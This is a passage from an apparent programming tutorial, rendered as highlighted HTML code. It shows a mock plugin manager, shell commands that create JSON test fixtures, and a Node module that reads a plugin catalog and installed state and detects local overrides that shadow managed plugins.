&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    writeFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(STATE, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;installed&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;, null, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`✓ ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;cmd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}ed ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);   &lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// exits 0 either way. This is the bug.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;usage: fake-pm &amp;#x3C;list|install|update&gt; [name]&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  process.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then the fixture it reads:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; state&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; catalog&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; overrides/formatter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;touch&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; overrides/formatter/OVERRIDE.md&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; catalog/catalog.json&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;JSON&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;{ &quot;formatter&quot;: &quot;2.1.0&quot;, &quot;linter&quot;: &quot;0.9.4&quot;, &quot;reporter&quot;: &quot;1.4.0&quot;, &quot;bundler&quot;: &quot;3.0.1&quot; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;JSON&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; state/installed.json&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;JSON&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  { &quot;name&quot;: &quot;formatter&quot;, &quot;version&quot;: &quot;2.1.0&quot;, &quot;enabled&quot;: true },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  { &quot;name&quot;: &quot;linter&quot;, &quot;version&quot;: &quot;0.9.1&quot;, &quot;enabled&quot;: true },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  { &quot;name&quot;: &quot;reporter&quot;, &quot;version&quot;: &quot;1.2.0&quot;, &quot;enabled&quot;: true }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;JSON&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Read the facts in one place, decide in another&lt;/h2&gt;
&lt;p&gt;Every fact comes from exactly one reader, and no reader classifies anything. A function that reads and also decides is a function you cannot point at a fixture. Save as &lt;code&gt;state.mjs&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * Every fact this tool reports, read from exactly one place.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * Nothing here classifies or renders: a reader that also decides is a reader&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * you cannot test against a fixture.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { existsSync, readFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { join, relative } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:path&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/** Read JSON, returning null rather than throwing. A missing file is data. */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readJson&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  try&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * AVAILABLE: what the source offers, read from the catalog rather than from&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * the manager. An entry whose source cannot be read becomes a row with&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * `error` set, never a dropped row: omitting it reads as &quot;nothing to do&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * which is the exact silent success this tool exists to prevent.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readCatalog&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(catalogPath) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; raw &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readJson&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(catalogPath);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;raw) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, error: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`cannot read catalog at ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;catalogPath&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, plugins: [] };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; plugins &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Object.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;entries&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(raw).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(([name, version]) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      ?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { name, available: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(version), error: null }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      :&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { name, available: null, error: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;catalog declares no version&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, error: null, plugins };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * ON DISK: what is installed right now.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * An unrecognised shape THROWS rather than reading as an empty list. &quot;Nothing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * is installed&quot; and &quot;I could not parse the list&quot; render identically otherwise,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * and the first one tells you to reinstall everything.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readInstalled&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(raw) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; list &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Array.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;isArray&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(raw) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; raw &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; raw?.installed;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;Array.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;isArray&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(list)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;unrecognised list output — expected an array or {installed: [...]}&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; out &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; p &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; list) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;p?.name) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    out.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(p.name, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      name: p.name,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      version: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(p.version &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      enabled: p.enabled &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; out;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * A local override at &amp;#x3C;overrideDir&gt;/&amp;#x3C;name&gt; wins over the managed copy, and no&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * version number anywhere reveals it: the managed copy updates cleanly and the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * stale one keeps being the code that runs.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; findShadows&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(overrideDir, names) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; names&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((n) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; existsSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(overrideDir, n)))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // Relative, so the report is the same on every machine and can be diffed.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((n) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ({ name: n, path: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;relative&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(process.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cwd&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(), &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(overrideDir, n)) }));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/** The diff. Pure, so it is testable without a filesystem or a subprocess. */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; classify&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ catalog, installed }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; catalog.plugins.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((entry) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; have &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; installed.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(entry.name);&lt;/span&gt;&lt;/span&gt;
